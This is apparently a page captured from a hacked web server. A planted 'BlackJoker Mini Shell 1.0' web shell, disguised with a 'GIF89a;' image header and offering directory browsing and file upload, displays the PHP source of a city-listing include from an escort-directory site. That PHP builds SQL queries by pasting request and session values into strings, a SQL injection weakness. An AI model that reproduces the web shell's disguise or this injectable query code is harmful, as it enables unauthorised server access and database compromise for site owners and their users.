GIF89a; Mini Shell

Mini Shell

Direktori : /home/serb/public_html/includes/
Upload File :
Current File : /home/serb/public_html/includes/header_citilist.php

<link rel="stylesheet" href="css2/nanoscroller.css">
<link rel="stylesheet" href="css2/main.css">
<link rel="stylesheet" href="css2/style.css">
<div class="statedetails">
   <div class="stdtls_header">
       <?
	   $citynameeeee = addslashes($_GET['cityname']);
	   $sql_ctlocc="select * from escort_details where status='a' AND (escort_city like '%".$citynameeeee."%' OR LOWER(REPLACE(REPLACE(escort_city, ' ', '-'), '&', 'and')) LIKE '%".$citynameeeee."%') ";
	   $res_ctlocc=execute_query($sql_ctlocc);
	   $row_ctlocc=mysql_fetch_array($res_ctlocc);
	   $num_ctlocc=mysql_num_rows($res_ctlocc);
	   
	   if($num_ctlocc>0)
	   {
	   
	   	$_SESSION['countryname']=$row_ctlocc['country_name'];
	   }
	   else
	   {
		   $_SESSION['countryname']='US';
	   }
	   
       $sql_country="SELECT * from countries where ccode='".$_SESSION['countryname']."'";
       $res_countrty=execute_query($sql_country);
       $row_country=mysql_fetch_array($res_countrty);
       echo $row_country['country'];
       ?>
       <span style="float:right; padding-top:2px; margin-right:5px;">
        <select class="switchcnt" id="visitor_country" name="visitor_country" onChange="return opencountry(this.value)">
         <option value="">Switch Country</option>
         <?
         $sql_country1="select * from countries";
         $country_res=execute_query($sql_country1);
         while($country_row=mysql_fetch_array($country_res)){
            ?>
            <option value="<?=$country_row['ccode']?>"><?=$country_row['country']?></option>
            <? }?>
        </select>
    </span>
</div>
<div class="stdtls_midder">
   
   <div class="nano">
    <div class="overthrow nano-content description"><p>
       <?
	   		if($_SESSION['countryname']=='US')
			{
				$todate=date('Y-m-d');
								$sql_ccescort="SELECT * FROM escort_details where status='a' AND gender!='Male'  AND country_name='".$_SESSION['countryname']."'";
								$row_ccescort=execute_query($sql_ccescort);
								$num_ccescort=mysql_num_rows($row_ccescort);
								if($num_ccescort>0)
								{ ?>
                                
                                	<div class="city-list"> <?
									$sql_state="select * from states order by name limit 0,5";
									$res_state=execute_query($sql_state);									
									while($row_state=mysql_fetch_array($res_state))
									
									 {
										 $sql_eststate="select * from escort_details where status='a' AND escort_state='".$row_state['name']."'";
										 $res_eststate=execute_query($sql_eststate);
										 $num_eststate=mysql_num_rows($res_eststate);
										 if($num_eststate>0)
										 {
										 
											 ?>
                                             	<div style="float:left; text-align:center; width:140px; margin-top:10px;">
												<h2 style="font-size:14px !important; line-height:3px !important;"><?=$row_state['name']?></h2>
												<?
												 $todatee=date('Y-m-d');
													$sql_cityescort="select escort_city, LOWER(REPLACE(REPLACE(escort_city, ' ', '-'), '&', 'and')) AS escort_url,count(escort_city) from escort_details where status='a' AND gender!='Male' AND escort_state='".$row_state['name']."'  AND country_name='".$_SESSION['countryname']."'  group By escort_city";
													$res_cityescort=execute_query($sql_cityescort);
													while($row_cityescort=mysql_fetch_array($res_cityescort))
													{
													?>
														<div class="updatehdrstylecity">
															<a href="http://<?=$row_cityescort['escort_url']?>.<?php echo $serverName; ?>"><?
																echo $row_cityescort['escort_city'].'('.$row_cityescort['count(escort_city)'].')'
															
															?></a>
														</div>
													   
														
												   <? } ?>
														<br class="spacer" />
												</div>
											   <? }
										   
									    }  ?>
                                        <br class="spacer" />
										
										</div>
                                        
                                        <div class="city-list"> <?
									$sql_state="select * from states order by name limit 5,9";
									$res_state=execute_query($sql_state);									
									while($row_state=mysql_fetch_array($res_state))
									
									 {
										 $sql_eststate="select * from escort_details where status='a' AND escort_state='".$row_state['name']."'";
										 $res_eststate=execute_query($sql_eststate);
										 $num_eststate=mysql_num_rows($res_eststate);
										 if($num_eststate>0)
										 {
										 
											 ?>
                                             	<div style="float:left; text-align:center; width:140px; margin-top:10px;">
												<h2 style="font-size:14px !important; line-height:3px !important;"><?=$row_state['name']?></h2>
												<?
												 $todatee=date('Y-m-d');
													$sql_cityescort="select escort_city, LOWER(REPLACE(REPLACE(escort_city, ' ', '-'), '&', 'and')) AS escort_url,count(escort_city) from escort_details where status='a' AND gender!='Male' AND escort_state='".$row_state['name']."'  AND country_name='".$_SESSION['countryname']."'  group By escort_city";
													$res_cityescort=execute_query($sql_cityescort);
													while($row_cityescort=mysql_fetch_array($res_cityescort))
													{
													?>
														<div class="updatehdrstylecity">
															<a href="http://<?=$row_cityescort['escort_url']?>.<?php echo $serverName; ?>"><?
																echo $row_cityescort['escort_city'].'('.$row_cityescort['count(escort_city)'].')'
															
															?></a>
														</div>
													   
														
												   <? } ?>
														<br class="spacer" />
												</div>
											   <? }
										   
									    }  ?>
                                        <br class="spacer" />
										
										</div>
                                        

                                        
                                        <div class="city-list"> <?
									$sql_state="select * from states order by name limit 14,9";
									$res_state=execute_query($sql_state);									
									while($row_state=mysql_fetch_array($res_state))
									
									 {
										 $sql_eststate="select * from escort_details where status='a' AND escort_state='".$row_state['name']."'";
										 $res_eststate=execute_query($sql_eststate);
										 $num_eststate=mysql_num_rows($res_eststate);
										 if($num_eststate>0)
										 {
										 
											 ?>
                                             	<div style="float:left; text-align:center; width:140px; margin-top:10px;">
												<h2 style="font-size:14px !important; line-height:3px !important;"><?=$row_state['name']?></h2>
												<?
												 $todatee=date('Y-m-d');
													$sql_cityescort="select escort_city, LOWER(REPLACE(REPLACE(escort_city, ' ', '-'), '&', 'and')) AS escort_url,count(escort_city) from escort_details where status='a' AND gender!='Male' AND escort_state='".$row_state['name']."'  AND country_name='".$_SESSION['countryname']."'  group By escort_city";
													$res_cityescort=execute_query($sql_cityescort);
													while($row_cityescort=mysql_fetch_array($res_cityescort))
													{
													?>
														<div class="updatehdrstylecity">
															<a href="http://<?=$row_cityescort['escort_url']?>.<?php echo $serverName; ?>"><?
																echo $row_cityescort['escort_city'].'('.$row_cityescort['count(escort_city)'].')'
															
															?></a>
														</div>
													   
														
												   <? } ?>
														<br class="spacer" />
												</div>
											   <? }
										   
									    }  ?>
                                        <br class="spacer" />
										
										</div>
                                        
                                        
                                        <div class="city-list"> <?
									$sql_state="select * from states order by name limit 23,10";
									$res_state=execute_query($sql_state);									
									while($row_state=mysql_fetch_array($res_state))
									
									 {
										 $sql_eststate="select * from escort_details where status='a' AND escort_state='".$row_state['name']."'";
										 $res_eststate=execute_query($sql_eststate);
										 $num_eststate=mysql_num_rows($res_eststate);
										 if($num_eststate>0)
										 {
										 
											 ?>
                                             	<div style="float:left; text-align:center; width:140px; margin-top:10px;">
												<h2 style="font-size:14px !important; line-height:3px !important;"><?=$row_state['name']?></h2>
												<?
												 $todatee=date('Y-m-d');
													$sql_cityescort="select escort_city, LOWER(REPLACE(REPLACE(escort_city, ' ', '-'), '&', 'and')) AS escort_url,count(escort_city) from escort_details where status='a' AND gender!='Male' AND escort_state='".$row_state['name']."'  AND country_name='".$_SESSION['countryname']."'  group By escort_city";
													$res_cityescort=execute_query($sql_cityescort);
													while($row_cityescort=mysql_fetch_array($res_cityescort))
													{
													?>
														<div class="updatehdrstylecity">
															<a href="http://<?=$row_cityescort['escort_url']?>.<?php echo $serverName; ?>"><?
																echo $row_cityescort['escort_city'].'('.$row_cityescort['count(escort_city)'].')'
															
															?></a>
														</div>
													   
														
												   <? } ?>
														<br class="spacer" />
												</div>
											   <? }
										   
									    }  ?>
                                        <br class="spacer" />
										
										</div>
                                        
                                        <div class="city-list"> <?
									$sql_state="select * from states order by name limit 33,7";
									$res_state=execute_query($sql_state);									
									while($row_state=mysql_fetch_array($res_state))

									
									 {
										 $sql_eststate="select * from escort_details where status='a' AND escort_state='".$row_state['name']."'";
										 $res_eststate=execute_query($sql_eststate);
										 $num_eststate=mysql_num_rows($res_eststate);
										 if($num_eststate>0)
										 {
										 
											 ?>
                                             	<div style="float:left; text-align:center; width:140px; margin-top:10px;">
												<h2 style="font-size:14px !important; line-height:3px !important;"><?=$row_state['name']?></h2>
												<?
												 $todatee=date('Y-m-d');
													$sql_cityescort="select escort_city, LOWER(REPLACE(REPLACE(escort_city, ' ', '-'), '&', 'and')) AS escort_url,count(escort_city) from escort_details where status='a' AND gender!='Male' AND escort_state='".$row_state['name']."'  AND country_name='".$_SESSION['countryname']."'  group By escort_city";
													$res_cityescort=execute_query($sql_cityescort);
													while($row_cityescort=mysql_fetch_array($res_cityescort))
													{
													?>
														<div class="updatehdrstylecity">
															<a href="http://<?=$row_cityescort['escort_url']?>.<?php echo $serverName; ?>"><?
																echo $row_cityescort['escort_city'].'('.$row_cityescort['count(escort_city)'].')'
															
															?></a>
														</div>
													   
														
												   <? } ?>
														<br class="spacer" />
												</div>
											   <? }
										   
									    }  ?>
                                        <br class="spacer" />
										
										</div>
                                        
                                        <div class="city-list"> <?
									$sql_state="select * from states order by name limit 40,10";
									$res_state=execute_query($sql_state);									
									while($row_state=mysql_fetch_array($res_state))
									
									 {
										 $sql_eststate="select * from escort_details where status='a' AND escort_state='".$row_state['name']."'";
										 $res_eststate=execute_query($sql_eststate);
										 $num_eststate=mysql_num_rows($res_eststate);
										 if($num_eststate>0)
										 {
										 
											 ?>
                                             	<div style="float:left; text-align:center; width:140px; margin-top:10px;">
												<h2 style="font-size:14px !important; line-height:3px !important;"><?=$row_state['name']?></h2>
												<?
												 $todatee=date('Y-m-d');
													$sql_cityescort="select escort_city, LOWER(REPLACE(REPLACE(escort_city, ' ', '-'), '&', 'and')) AS escort_url,count(escort_city) from escort_details where status='a' AND gender!='Male' AND escort_state='".$row_state['name']."'  AND country_name='".$_SESSION['countryname']."'  group By escort_city";
													$res_cityescort=execute_query($sql_cityescort);
													while($row_cityescort=mysql_fetch_array($res_cityescort))
													{
													?>
														<div class="updatehdrstylecity">
															<a href="http://<?=$row_cityescort['escort_url']?>.<?php echo $serverName; ?>"><?
																echo $row_cityescort['escort_city'].'('.$row_cityescort['count(escort_city)'].')'
															
															?></a>
														</div>
													   
														
												   <? } ?>
														<br class="spacer" />
												</div>
											   <? }
										   
									    }  ?>
                                        <br class="spacer" />
										
										</div>
                                                                                
										<br class="spacer" />
										<?
										  
									 }?>
                                    
								<?	




			}
			else
			{
	   
	   
			   $todatee=date('Y-m-d');
			   $sql_ccescort="SELECT * FROM escort_details where status='a' AND gender!='Male'  AND country_name='".$_SESSION['countryname']."'";
			   $row_ccescort=execute_query($sql_ccescort);
			   $num_ccescort=mysql_num_rows($row_ccescort);
			   if($num_ccescort>0)
			   {
				   $sql_cityescort="select escort_city, LOWER(REPLACE(REPLACE(escort_city, ' ', '-'), '&', 'and')) AS escort_url,count(escort_city) from escort_details where status='a' AND gender!='Male' AND country_name='".$_SESSION['countryname']."'  group By escort_city";
				   $res_cityescort=execute_query($sql_cityescort);
				   while($row_cityescort=mysql_fetch_array($res_cityescort))
				   {
					 ?>
					 <div class="updatehdrstylecity" style="width:190px !important;">
					   <a href="http://<?=$row_cityescort['escort_url']?>.<?php echo $serverName; ?>"><?
						  echo $row_cityescort['escort_city'].'('.$row_cityescort['count(escort_city)'].')'
						  ?></a>
					  </div>
					  <? } ?>
					  <br class="spacer" />
					  <? } 
				  
			}  ?> 
         	</p>
            </div>
            
         
          </div>
          
          
          
          
      </div>
      <div class="stdtls_footer"></div>
  </div>
  
  <script type="text/javascript" src="javascripts/overthrow.min.js"></script>
  
  <script type="text/javascript" src="javascripts/jquery.nanoscroller.js"></script>
  <script type="text/javascript" src="javascripts/main.js"></script>
  <script type="text/javascript" src="javascripts/ga.js"></script>

./BlackJoker Mini Shell 1.0